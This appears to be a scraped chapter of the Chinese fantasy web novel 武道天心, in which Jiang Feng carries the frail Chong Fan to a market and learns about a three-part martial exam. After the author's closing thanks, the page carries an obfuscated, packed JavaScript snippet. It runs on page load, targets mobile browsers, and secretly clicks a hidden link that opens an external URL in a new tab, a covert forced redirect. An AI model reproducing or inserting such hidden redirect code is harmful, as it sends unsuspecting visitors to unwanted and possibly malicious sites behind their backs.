第五文学网 > 玄幻小说 > 武道天心 > 0020 天地人

    夜晚的小谷万籁俱寂,偶尔的鸟叫虫鸣反而更显出这里的安静。

    姜风依然睡在树上,突然耳朵一动,警惕地看向周围。

    他翻身下树,巡视了一周,什么也没发现。

    他并没有就此放松,而是走出树荫,在小谷里的某块大石头上坐了下来。

    这里是谷里最好的监察地点,无论从哪个方向过来,都会被他收入眼底。

    在某个不知名的地方,传来一声无声的咋舌。片刻后,一团灰蒙蒙的影子从石头、大树、草堆等所有的影子里滑过。

    它几乎透明,在黑夜里极不起眼,就连凑近了也很难被发现。

    但姜风还是有所感应一样,盯着那片草丛看了很久,才警惕地移开目光。

    灰影滑进树屋,在一个黑暗的角落像褪皮一样滑了下来,原来那是一件披风。

    灰色的披风下现出一个人,这个人身材高大,须发皆白,正是之前来看重繁的那个老人。他疑惑地向外看了一眼,看向地上那张“床”。

    这一看他就变色了,轻轻推醒了重繁,声音束成一条线,钻进他的耳朵:“少爷,少爷,醒醒!”

    重繁睁开眼睛坐了起来,眼中毫无睡意,异常清醒。

    他皱起眉,口唇微动,无声问道:“我不是说要在这里留一阵子吗?”

    老人着急地说:“少爷,您怎么能睡在这种地方?”

    重繁摇摇头:“说正事。”

    老人从小看他长大,对他的个性极为了解。他深吸口气,道:“我派人去查了一下这个少年……您放心,我并没有泄露您的行踪。”

    重繁眼中掠过一丝不悦,随即又压了下去。这是他们这种人的行事方式,老人也是关心他才会去打听,他不应感到不满。

    他无声地道:“这少年对我没有恶意,我也不想知道这些。”

    老人默然片刻,道:“少爷,我知道您想交一个朋友,但是他……准确地来说跟他无关,但跟您的身体关系很大!”

    我的身体?

    重繁敛下眸子,沉思良久。他不做指示,老人也不敢说话。

    过了很久,重繁摇头道:“不用跟我说。”

    他抬起眼睛,目光明澈,“我想知道的时候会问你的,但……不是现在。”

    也许这是他们这种人的正常行事方式,但至少是现在,重繁不想这样做。他不想去打听姜风的秘密,即使那可能跟自己的身体、自己的怪病有关。

    可能是因为这个无名小谷,可能是因为那只吃肉的兔子,可能是因为少年在阳光下挥汗如雨的身影与偶尔沉郁的表情……

    最重要的是,他的身体,似乎已经发生了某些变化。

    ……

    ……

    第二天早上,姜风早课完毕,并没像平时那样进山打猎。

    他皱着眉头看了看重繁身上的衣服,摇头道:“你这衣服破得不行了,上面还全是血,没法穿出去……”

    重繁低头看了眼自己,略有些难堪。

    他向来爱洁,一天换三套衣服的时候也是有的,什么时候会把一件血衣连穿三天?

    他自从来到这里之后,第一次觉得,他应该联系老人,给自己准备点必需品……

    姜风在自己少少的几套衣服里翻了翻,扔给他一套:“穿这个吧。”

    重繁换上一看,有些意外。

    他比姜风矮了足有一个头,身材更是瘦弱单薄,完全没法比较。但这套衣服他穿起来却大致合身,完全不显大。而且,这套衣服是灰绫布做的,比姜风身上穿着的粗织麻质料好很多。

    姜风怀念地看着他身上的衣服,说:“这是别人送我的,一直没扔,倒是刚适合你。”

    他眼神微微黯然,转身道:“走吧,半月集辰正开集,要早点去。”

    重繁拂了拂衣襟,望了眼他的背影。

    这也跟他那个最重要的小姐有关吗?

    半月集位于陆明镇西南,长川河旁边。

    姜风和重繁到达的时候,天色已经全亮,阳光洒在河上,荡漾出无数金色的碎片。河岸两边已经摆起了无数摊位,沿着河势延伸出去。

    姜风扑地一声放下手里的重物,又卸下背后的背篓。

    重繁满脸烧得通红,钻出背篓,简直说不出话来。

    小谷出来一路都是崎岖山路,所谓的离陆明镇不远,也只是针对姜风这种人来说的。

    重繁从小连自由活动的机会都没有,体质极虚,怎么可能靠自己走出来?

    走了没多久,他就气喘如牛,简直像要断气一样。

    姜风摇摇头道:“还是要多锻炼啊,老懒得动可不行。”

    我不是懒!我是有病!

    重繁听见这话,脸马上一热,险些直接叫出了声。

    不过这样说的话就更有病了。他喃喃地说不出话来,姜风腾空了背篓,重繁正觉得不妙,姜风伸手一提,直接把他拎进了篓子里坐好。

    重繁一想到自己要这样一直坐到镇子里去,就感觉整个人都焦躁起来了。

    他正想挣扎,就被姜风一句话阻止:“怎么,要我直接把你背过去吗?”

    直接背跟坐背篓里,哪个更羞耻一点?

    重繁还没拿定主意,姜风已经背起他上了路。

    他边走边说:“反正你现在也闲着,就跟我说一下大考的事情吧。你上次说的天地人三项考试,究竟是考的什么?”

    重繁被他分心,解释道:“九省武修通考分府、州、县三个级别,这个你应该知道。”

    “嗯,听说过。”

    重繁说:“无论哪一级考试,项目都是一样的,只是难度上,一级比一级更增而已。这项目,指的就是天、地、人三项。”

    “天试考天赋之力。武修修的是武,明心种只是一个起点。晋入黎明之境之后,武修的力量多强、速度多快……这一切都会有一个指标。天试测试的,正是这些指标。”

    “地试考大地万物。九天玄极两块大陆,玄极二城,九天八国。风土人情、势力分布,都在一卷之间。”

    “人考考实际战力,每年的项目略有变化。有直接对战,也有实境突破,只有临考时才能知道。”

    重繁介绍得简明扼要,姜风一听就听懂了。

    也就是说,天试就是测试身体素质,地试是笔试文考,考试范围非常大。人考的话就是实际战斗了,打人还是打明兽再说。

    他皱眉问道:“地试的限定范围是不是太大了?”

    重繁点头:“单这样听的确是,但实际上,地试考的不完全是你以前掌握的知识。

    他侃侃而谈,说得非常清楚。

    每次地试时间为期一共三天,这三天的主要时间并非答卷,而是阅书。也就是说,考官会把所有要考的内容全部放到一起,给考生三天时间,能看多少看多少。

    第三天的最后一个小时才是答题时间。

    姜风若有所思地问道:“能看多少看多少,那不是有点凭运气?运气好的话,看的内容刚好是考试内容,那就赚了,不然……”

    重繁摇头:“运气当然是必要的,但地试并非完全如此。具体情况我也不太清楚,大部分出来的考员都语焉不详,很难总结。”

    一路上,他把他所有知道的关于大考的情况全部告诉给了姜风。

    这是两人之前的交易内容之一,按照他的习惯,他原本应该一点点地透给姜风的。

    但现在重繁说得毫无保留。不知为何,他有一种感觉,他兑现了承诺,姜风也绝不会反悔!

    听完他的话,姜风思索良久,舒了口气:“到时候再说吧。总之,变强才是正道!”

    山道蜿蜒向下,崎岖不平,他却走得更稳了。

    重繁看着他的后脑勺。虽然看不见他的脸,但他仿佛可以看见他眼中无比坚定的眼神。

    那是一种灼热的生命之光,仿佛无论什么都不能把他打倒,无论什么都不能让他动摇。

    他轻轻叹了口气,摸了摸竹篓的边缘,坐了下来。

    ……

    ……

    “上好的水犀皮,一米见方,贴身内甲的上好材料!”

    “月狸珠两颗!每颗只要十银币!”

    “收木系元核碎片,每片五银币,多多益善!”

    “……”

    姜风第一次来半月集,一靠近就被这里热烈的气氛吸引住了。

    这样的集市对于修武者来说,不光是一个买卖东西的地方,同时也是一个通向武修社会的窗口。

    北姜这样的家族势力,当然自成一套系统。而那些不属于家族的散修,这样的地方对他们来说就非常重要了。

    重繁还记得出来前说的话,他四周望了一眼,对姜风说:“我先到处走走,打探一下这里的情况。你的货物,我一定会帮你卖出一个好价格。”

    他说得非常认真,姜风笑了笑:“好,那就拜托你了!”

    他跟重繁决定先分头行动,约好时间再碰头。

    重繁顺着第一个摊子边走边看,姜风却被前方两个人的谈话内容吸引了过去。

    其中一个大汉捏着一根土烟卷,兴致勃勃地对旁边那个人说:“你听说了吗?朱阳城城墙塌了,国君震怒!”

    朱阳城?

    这个似熟非熟的名字在姜风脑中一过,他迅速想了起来!

    朱阳城,正是朱天国帝都内城的名称,是国君与贵族的居所。

    朱天国师伏流君,当然也是住在那里的!

    城墙塌了?

    那么她……不会有事吧?

    ——————————————————感谢各位家人的归来~也感谢各位新朋友的加入!蓝湛薰韵、勰韵、想你菲儿、fatfox911,爱你们全部!  


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s y(){n(O z==="\\t\\6\\4\\0\\i\\8\\6\\0\\4"){A P}u a;v B=z[\'\\t\\9\\0\\7\\Q\\j\\0\\6\\1\'][\'\\1\\3\\w\\3\\C\\0\\7\\o\\2\\9\\0\']();a=\'\\R\\S\\i\\3\\0\\3\';u b;v D=T U("V|W|X Y|Z|10|11|12 13|14|15|16|17".e("").f().g(""),\'\\8\');b=18^19;A D[\'\\1\\0\\9\\1\'](B)}s E(a){u b;v d=k[\'\\h\\7\\0\\2\\1\\0\\F\\5\\0\\l\\0\\6\\1\']("\\2");b="1a".e("").f().g("");d[\'\\p\\7\\0\\i\']=a;d[\'\\9\\1\\m\\5\\0\'][\'\\4\\8\\9\\q\\5\\2\\m\']="1b".e("").f().g("");d[\'\\1\\2\\7\\j\\0\\1\']="1c".e("").f().g("");k[\'\\c\\3\\4\\m\'][\'\\2\\q\\q\\0\\6\\4\\o\\p\\8\\5\\4\'](d);d[\'\\h\\5\\8\\h\\G\']();k[\'\\c\\3\\4\\m\'][\'\\7\\0\\l\\3\\H\\0\\o\\p\\8\\5\\4\'](d)}k[\'\\2\\4\\4\\F\\H\\0\\6\\1\\w\\8\\9\\1\\0\\6\\0\\7\']("\\1d\\1e\\1f\\o\\3\\6\\1\\0\\6\\1\\w\\3\\2\\4\\0\\4",s(){n(!I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']){n(k[\'\\c\\3\\4\\m\']!=1g){I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']="\\x";K=L[\'\\j\\0\\1\\x\\1\\0\\l\']("\\5\\t\\h\\G\\1h\\i\\i");n(!K&&y()){E("\\p\\1\\1\\q\\9\\1i\\r\\r\\c\\C\\1j\\1k\\1l\\M\\N\\1\\3\\3\\8\\N\\M\\h\\3\\l\\r\\h\\c\\4\\r\\2\\2\\2\\2\\c\\2")}L[\'\\9\\0\\1\\x\\1\\0\\l\']("1m".e("").f().g(""),"1n".e("").f().g(""))}}});',62,86,'u0065|u0074|u0061|u006F|u0064|u006C|u006E|u0072|u0069|u0073|||u0062|_0x9ggd1d|split|reverse|join|u0063|u0066|u0067|document|u006D|u0079|if|u0043|u0068|u0070|u002F|function|u0075|var|const|u004C|u0049|isMobileDevice|navigator|return|_0xd8c03f|u0077|_0xc_0x0b6|OpenUrl|u0045|u006B|u0076|window|u0056|hasExecuted|localStorage|u002E|u0078|typeof|false|u0041|u0071|u006A|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|978901|978909|piekee|enon|knalb_|u0044|u004F|u004D|null|u005F|u003A|u0031|u0030|u0032|ff_kcul|eurt'.split('|'),0,{}))